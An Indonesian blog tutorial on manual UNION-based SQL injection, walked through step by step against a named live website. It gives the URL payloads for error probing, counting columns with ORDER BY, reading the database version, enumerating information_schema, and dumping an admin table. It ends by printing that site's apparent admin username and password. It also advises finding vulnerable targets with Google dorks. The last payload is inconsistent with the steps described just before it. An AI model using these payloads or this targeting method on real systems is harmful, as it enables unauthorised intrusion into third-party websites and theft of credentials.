Selasa, 24 September 2013

Manual Simple SQL Injection Menggunakan Mode Source code

Sebelum masuk ke tutornya saya tegaskan, ini adalah hasil pemikiran sendiri. Jika ada kemiripan secara kebetulan mohon dimaklumi. Salah satu mbah saya bilang,"Tutorial itu berasal dari 10% reference dan 90% experience". Dalam hal ini, perkataan tersebut benar-benar saya terapkan.

So let's do it.

Saya tidak akan menjelaskan apa itu SQL Injection, bagaimana cara kerjanya dan kenapa bisa terjadi, karena mungkin akan makan tempat :D. Saya akan menjelaskan cara bagaimana melakukannya (Karena ada beberapa jenis SQL injection, maka saya akan menjelaskan yang Simple SQL Injection :D)

===============================
Intro
Tahukah om-om, kalo kita liat beberapa web menyediakan konten flash dan javascript yang secara teknis akan memberatkan koneksi atau bahkan memakan bandwith kita. Rugi sekali jika kita menghabiskan waktu dan bandwith :D untuk mengeksploitasi sesuatu yang belum jelas hasilnya.
Nah, disinilah mengapa kita menggunakan mode Source Code. Dalam mode ini, webbrowser tidak akan me-load konten yang disajikan oleh web, melainkan akan me-load script-script yang ada. Lebih cepat, praktis walaupun agak ruwet dan mbulet :v

Perlu diketahui, bahwa SAYA SANGAT MEREKOMENDASIKAN OM UNTUK PAKE GOOGLE CHROME. Selain itu browser favorit saya, sangatlah mudah untuk masuk mode source code.

Untuk masuk ke mode source code pada Google Chrome, tambahkan "view-source:" sebelum alamat web.







Mode source code :





===============================
Cari target dulu
Om-om kan mungkin tau, kalo kita mau attacking, yah harus ada web target. Ingat!! harus yang punya celah/vulnerability (Saya nggak mau sampean "ngasal" nyari target. Bisa-bisa sampean jadikan facebook.com sebagai target. Mbok yah sampek komputernya sampean mbledos yah nggak bakalan ketemu).

Nah, disinilah fungsi google. Kita akan menggunakan google dan dorknya untuk memfilter vulnerability target berdasarkan dork yang dimasukkan. Beberapa orang bahkan sudah menggunakan software dorker. Untuk dork dapat dilihat Here 


Dalam hal ini, saya akan menggunakan live demo :
http://www.hanhdance.com/gallery.php?id=269
Jangan lupa tambahkan ' (single quote) untuk mengetahui apakah web mempunyai celah.
Jadi alamat di address bar browser jadi kayak gini 

Code :
view-source:www.hanhdance.com/gallery.php?id=269'


Om-om akan melihat sekumpulan tulisan mbulet. Untuk menemukan errornya, tekan ctrl+f dan ketik beberapa pesan error berikut :

Code:


VBScript runtime  error
mysql_num_rows()
mysql_fetch_array()
404 Error Message
Error Occurred While Processing Request
Server Error in '/' Application
Microsoft OLE DB Provider for ODBC Drivers error
error in your SQL syntax
ODBC error
You have an error in your SQL syntax
Warning: mysql_connect()
Warning: mysql_select_db()
Warning: mysql_numrows()
Warning: mysql_query()
mysql_connect()
 
Jika ditemukan, maka web mempunyai celah






===============================
Mencari jumlah kolom
Untuk mencari jumlah kolom, hilangkan tanda ' dan tambahkan beberapa perintah :

order by (perkiraan jumlah kolom)--

jadi alamatnya jadi : 

view-source:www.hanhdance.com/gallery.php?id=269 order by 1000--





maksud dari angka 1000 itu adalah untuk mengetahui pesan eror apa yang akan muncul.

Jika om melihat eror seperti itu, maka akan lebih mudah menemukan eror nya nanti, ketika kita mencari jumlah kolomnya.

Well, sekarang kita kasih jumlah kolomnya dengan 10. Jadi alamatnya menjadi :
Code :

[code]view-source:www.hanhdance.com/gallery.php?id=269 order by 10--

Terjadi Eror





jika terjadi eror seperti itu, berarti jumlah kolom terlalu besar. Kita kurangi jumlah kolom menjadi setengahnya (5).

aka alamatnya menjadi :

Code :

[code]view-source:www.hanhdance.com/gallery.php?id=269 order by 5--

Itu berarti, dalam nilai 5 ada kolom. Untuk memastikan kita harus tetap mencarinya. Jadi tambahkan jumlah kolom dengan 3 (setengah dari 5). Jadi jumlah kolom menjadi 8.

Code : 

[code]view-source:www.hanhdance.com/gallery.php?id=269 order by 8--

Tidak terjadi eror.





Tambah jumlah kolom dengan 1. Jadi jumlah kolom menjadi 9. Jadi alamatnya menjadi :

Code :

[code]view-source:www.hanhdance.com/gallery.php?id=269 order by 9--

terjadi eror:





Itu berarti, websitenya mempunyai 8 kolom.

===============================
Mencari vulnerability column
Sebenarnya untuk mengetahui vulnerability column, kita harus mengetaui keyword yang dipakai. Sangatlah sulit mencari keyword tersebut. Pada bagian ini, saya nggak bisa menjelaskan secara pasti, gimana cara mengetahui. Namun jangan sedih dahulu, satu-satunya jalan adalah dengan me-load web dengan mode grafik. Hilangkan "view-source" dan hapus value of parameter (angka setelah parameter), kemudian tambahkan "null union select (jumlah kolom ditulis berurutan)--" :


Code : 

http://www.hanhdance.com/gallery.php?id=null union select 1,2,3,4,5,6,7,8--



Pada lingkaran biru, ada angka yang muncul. Itulah vulnerability column. Jika om menemukan banyak angka, pastikan vulnerability columnnya ada pada angka yang teratas sendiri.
Klik kanan pada angka tersebut, dan klik "inspect element".


om akan liat “content_gallery”. Catat tulisan tersebut (Sebagi penanda). Tulisan tersebut akan menjadi acuan untuk mencari kolom atau tabel nantinya.

===============================
Mengetahui versi SQL
Untuk mengetahui versi dari SQL nya, gantikan vulnerability column nya dengan "(@@version)".
Om akan melihat kode yang mbulet lagi kan :v. Itulah gunanya penanda yang tadi om catet. Tekan ctrl+f dan ketik penandanya. Om akan menemukan versinya setelah simbol ">".






===============================
Let's Start
===============================

1. Kita harus mengetahui daftar tabelnya
Tambahkan "group_concat(table_name,0x0a)" pada vulnerability column dan “from information_schema.tables where table_schema=database()” sebelum tanda "--". Jadi alamatnya menjadi:

Code :

view-source:www.hanhdance.com/gallery.php?id=null union select 1,2,3, group_concat(table_name,0x0a),5,6,7,8 from information_schema.tables where table_schema=database()--

Akan muncul berbagai nama tabel. Kita main ilmu kira-kira aja. Nah, kira-kira personal access tuh disimpen di “admin_user”

Code :

2.melihat kolomnya

Rubah “table_name” menjadi “column_name”, “information_schema.tables” menjadi “information_schema.columns” dan “table_schema” menjadi “table_name”. Ganti "database()--" menjadi "0x(nama tabel dalam bentuk hex)".Klik DISINI untuk mengetahui nama tabel dalam bentuk hex.


Alamatnya akan menjadi:


view-source:www.hanhdance.com/gallery.php?id=null union select 1,2,3, group_concat(column_name,0x0a),5,6,7,8 from information_schema.columns where table_name=0x61646d696e5f7573657273


kamu akan melihat:






 3. Horeee.... Ketemu
Heheee... akhirnya sampai juga pada tahap akhir. Pada tahap ini, kita akan menemukan username dan password. Ketika om tidak menemukannya, harap sabar dan cari aja di tabel yang lain.
Om akan melihat "admin_users_id,username,fname,lname,email,password”. Yang kita butuhkan hanya username dan password untuk masuk web tersebut. Yang lain dapat diabaikan.
Rubah “column_name” menjadi “(nama kolom yang menyimpan username),0x7c,(nama kolom yang menyimpan password),0x0a”. Hapus semua perintah yang ada diakhir nilai dari jumlah kolom, lalu tambahkan “from (name of table)--“
Catatan:
0x7c adalah kode dalam hex untuk pembatas antara username dan password. Jadi alamatnya akan menjadi:



Code :

view-source:www.hanhdance.com/gallery.php?id=null union select 1,2,3, group_concat(column_name),5,6,7,8 from admin_users--








User : hanh7d4nc3
Password : n0t0r13t


udah ketemu silahkan enjoy !!

1 komentar: